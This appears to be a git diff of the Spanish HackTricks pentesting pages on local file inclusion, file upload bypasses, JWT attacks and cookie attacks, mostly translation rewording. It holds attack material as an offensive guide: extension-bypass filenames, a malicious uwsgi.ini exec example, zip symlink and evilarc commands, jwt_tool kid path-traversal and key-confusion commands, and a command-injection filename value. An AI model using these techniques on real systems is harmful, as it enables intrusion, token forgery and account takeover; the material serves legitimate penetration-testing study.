**multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE: +Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE: + {{#ref}} via-php_session_upload_progress.md @@ -553,7 +606,8 @@ via-php_session_upload_progress.md ### A través de cargas de archivos temporales en Windows -Si encontraste una **Inclusión de Archivos Locales** y el servidor está ejecutándose en **Windows**, podrías obtener RCE: +Si encontraste una **Inclusión de Archivos Local** y el servidor está ejecutándose en **Windows**, podrías obtener RCE: + {{#ref}} lfi2rce-via-temp-file-uploads.md @@ -561,7 +615,7 @@ lfi2rce-via-temp-file-uploads.md ### A través de `pearcmd.php` + argumentos de URL -Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento. +Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe ser utilizado como un argumento. La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido ``: ```bash @@ -592,7 +646,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### A través de espera eterna + bruteforce -Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal: +Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **se cuelgue** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal: {{#ref}} lfi2rce-via-eternal-waiting.md @@ -611,6 +665,8 @@ _Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index cfab2e7f9..078cbaecf 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -59,6 +59,7 @@ php vuln.php ``` ### Referencias + {{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 17207d5a7..b64675226 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -21,7 +21,7 @@ Otras extensiones útiles: 2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) +3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **fuerza bruta** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -43,7 +43,7 @@ Otras extensiones útiles: 5. Agrega **otra capa de extensiones** a la verificación anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código): +6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **_**.php**_**, pero **no necesariamente terminando en .php** ejecutará código): - _ej: file.php.png_ 7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”) 8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php @@ -67,7 +67,7 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. +- Si **se está agregando compresión a tu imagen**, por ejemplo, usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. - [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. - [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) @@ -94,7 +94,7 @@ Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al t Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...) -La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido que **esta extensión se ejecute**. +La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**. ## **Jetty RCE** @@ -106,9 +106,9 @@ Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. +Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. -Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas: +Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas: ```ini [uwsgi] ; read from a symbol @@ -169,7 +169,7 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v - Establezca **filename** en `` para lograr un XSS - Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md)) - [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Redirección abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) - Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) @@ -177,7 +177,7 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v - Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. - [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) - PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas. -- Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus** +- Cargue el contenido \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar si el servidor tiene algún **antivirus** - Verifique si hay algún **límite de tamaño** al cargar archivos Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -212,17 +212,17 @@ Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer ### Symlink -Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: +Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### Descomprimir en diferentes carpetas -La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de SO a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. +La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. -Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: +Un exploit automatizado para crear tales archivos está disponible en [**evilarc en GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: ```python # Listing available options python2 evilarc.py -h @@ -301,11 +301,11 @@ Los archivos políglota sirven como una herramienta única en ciberseguridad, ac La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones. -A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensiones de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. +A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Subir JSON válidos como si fuera PDF +### Subir JSONs válidos como si fueran PDF Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, simulando un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 598a77deb..493657b35 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -21,19 +21,19 @@ Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` -Puedes también usar la [**Extensión Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lanzar ataques JWT desde Burp. +Puedes usar la [**Extensión de Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lanzar ataques JWT desde Burp. ### Manipular datos sin modificar nada -Puedes simplemente manipular los datos dejando la firma como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo. +Puedes simplemente manipular los datos dejando la firma tal como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo. #### **¿Se verifica el token?** -Para comprobar si la firma de un JWT está siendo verificada: +Para comprobar si se está verificando la firma de un JWT: -- Un mensaje de error sugiere una verificación en curso; los detalles sensibles en errores verbosos deben ser revisados. +- Un mensaje de error sugiere que se está realizando una verificación; los detalles sensibles en errores verbosos deben ser revisados. - Un cambio en la página devuelta también indica verificación. -- La ausencia de cambios sugiere que no hay verificación; este es el momento de experimentar con la manipulación de las afirmaciones del payload. +- La ausencia de cambios sugiere que no hay verificación; este es el momento de experimentar con la manipulación de las reclamaciones del payload. ### Origen @@ -46,7 +46,7 @@ Es importante determinar si el token fue generado del lado del servidor o del la Verifica si el token dura más de 24h... tal vez nunca expire. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente. -### Fuerza bruta de la clave secreta HMAC +### Fuerza bruta del secreto HMAC [**Ver esta página.**](../generic-hacking/brute-force.md#jwt) @@ -63,7 +63,7 @@ El algoritmo RS256 utiliza la clave privada para firmar el mensaje y utiliza la Si cambias el algoritmo de RS256 a HS256, el código del backend utiliza la clave pública como la clave secreta y luego utiliza el algoritmo HS256 para verificar la firma. -Luego, usando la clave pública y cambiando RS256 a HS256 podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto: +Luego, utilizando la clave pública y cambiando RS256 a HS256 podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -77,10 +77,10 @@ Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\ ### Suplantación de JWKS -Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, particularmente aquellos que emplean un reclamo de encabezado "jku". Este reclamo debe vincularse a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token. +Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, particularmente aquellos que emplean un reclamo de encabezado "jku". Este reclamo debe vincularse a un archivo JWKS (JSON Web Key Set) que contiene la clave pública necesaria para la verificación del token. - **Evaluación de Tokens con Encabezado "jku"**: -- Verifica la URL del reclamo "jku" para asegurarte de que conduzca al archivo JWKS apropiado. +- Verifica la URL del reclamo "jku" para asegurarte de que conduce al archivo JWKS apropiado. - Modifica el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico. - **Monitoreo de Interacción HTTP**: - Observar las solicitudes HTTP a tu URL especificada indica los intentos del servidor de obtener claves desde tu enlace proporcionado. @@ -103,7 +103,7 @@ Cuando el reclamo `kid` está presente en el encabezado, se recomienda buscar en #### Traversal de Ruta con "kid" -El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor `kid` mientras se mantiene la firma original se puede lograr utilizando la bandera `-T` en jwt_tool, como se demuestra a continuación: +El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor de `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor de `kid` mientras se retiene la firma original se puede lograr utilizando la bandera `-T` en jwt_tool, como se demuestra a continuación: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` @@ -117,7 +117,7 @@ Si el contenido de la declaración `kid` se utiliza para obtener una contraseña Esta alteración obliga al uso de una clave secreta conocida, `ATTACKER`, para la firma de JWT. -#### Inyección OS a través de "kid" +#### Inyección de OS a través de "kid" Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es: @@ -128,7 +128,7 @@ Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada #### jku jku significa **JWK Set URL**.\ -Si el token utiliza una declaración de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor jku apunte a un servicio web que puedas monitorear. +Si el token utiliza una declaración de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor de jku apunte a un servicio web que puedas monitorear. Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas. ```bash @@ -153,7 +153,7 @@ X.509 URL. Un URI que apunta a un conjunto de certificados públicos X.509 (un e Intenta **cambiar este encabezado a una URL bajo tu control** y verifica si se recibe alguna solicitud. En ese caso, **podrías manipular el JWT**. -Para falsificar un nuevo token utilizando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada: +Para forjar un nuevo token utilizando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem @@ -220,27 +220,29 @@ Aquí hay un ejemplo: [ECDSA: Revelando la clave privada, si se usa el mismo non El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Puede ser utilizado para prevenir que el token sea reproducido.\ Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa). -### JWT Registered claims +### Reclamos registrados de JWT + {{#ref}} https://www.iana.org/assignments/jwt/jwt.xhtml#claims {{#endref}} -### Other attacks +### Otros ataques -**Cross-service Relay Attacks** +**Ataques de Relay entre servicios** Se ha observado que algunas aplicaciones web dependen de un servicio JWT confiable para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse para una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado. - Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área legal gris. -**Expiry Check of Tokens** +**Verificación de expiración de tokens** -La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchas instancias, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool. +La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial que la aplicación implemente verificaciones relevantes para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), puede ser leído utilizando la bandera -R de jwt_tool. - Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar. -### Tools +### Herramientas + {{#ref}} https://github.com/ticarpi/jwt_tool diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 14026828b..8ec5b4861 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -36,19 +36,19 @@ Recuerda, al configurar cookies, entender estos atributos puede ayudar a asegura | **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** | | --------------------- | --------------------------------------- | ---------------------------- | -| Enlace | \\ | NotSet\*, Lax, None | -| Prerender | \ | NotSet\*, Lax, None | -| Formulario GET | \
| NotSet\*, Lax, None | -| Formulario POST | \
| NotSet\*, None | -| iframe | \ | NotSet\*, None | -| AJAX | $.get("...") | NotSet\*, None | -| Imagen | \
| NetSet\*, None | +| Enlace | \\ | NotSet\*, Lax, None | +| Prerender | \ | NotSet\*, Lax, None | +| Formulario GET | \ | NotSet\*, Lax, None | +| Formulario POST | \ | NotSet\*, None | +| iframe | \ | NotSet\*, None | +| AJAX | $.get("...") | NotSet\*, None | +| Imagen | \ | NetSet\*, None | Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\ Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada. **\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** **en Chrome serán** **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.** +Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome serán **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.** ## Banderas de Cookies @@ -56,11 +56,11 @@ Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, por ejemplo: `document.cookie`) -#### **Evasiones** +#### **Bypasses** -- Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)). -- Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**. -- Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2. +- Si la página está **enviando las cookies como respuesta** de una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). +- Esto podría ser eludido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**. +- Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunos bypasses a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2. - Otra forma es la explotación de vulnerabilidades de día cero en los navegadores. - Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar: @@ -89,7 +89,7 @@ Es importante notar que las cookies con el prefijo `__Host-` no pueden ser envia ### Sobrescribiendo cookies -Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al parser, por ejemplo, añadiendo "=" al principio o al final...: +Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
